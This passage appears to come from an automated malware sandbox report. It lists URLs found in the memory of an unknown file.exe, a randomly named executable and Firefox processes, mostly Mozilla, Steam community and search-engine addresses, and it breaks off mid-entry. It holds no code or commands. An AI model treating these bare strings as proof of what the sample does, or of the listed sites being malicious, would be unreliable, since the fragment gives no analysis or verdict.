Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB080E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB0780000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0810000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB07A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2447977267.000001BAB0503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF7A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001B.00000002.2421494424.000001BAAE96A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB707F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1604077386.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1604053421.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version0R
Source: 805c374e44.exe, 0000000C.00000003.2147821946.00000000055D3000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2148362458.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2396386534.000001BAAA8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: 805c374e44.exe, 0000000C.00000003.2147821946.00000000055D3000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2148362458.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2396386534.000001BAAA8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cl
Source: file.exe	String found in binary or memory: https://community.cloudflare.steamsta
Source: file.exe	String found in binary or memory: https://community.cloudflare.steamstatic
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe	String found in binary or memory: https://community.cloudflare.steamstatic.com/public
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=D_iTAfDsLH
Source: file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1539872027.0000000001205000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=4Xou
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 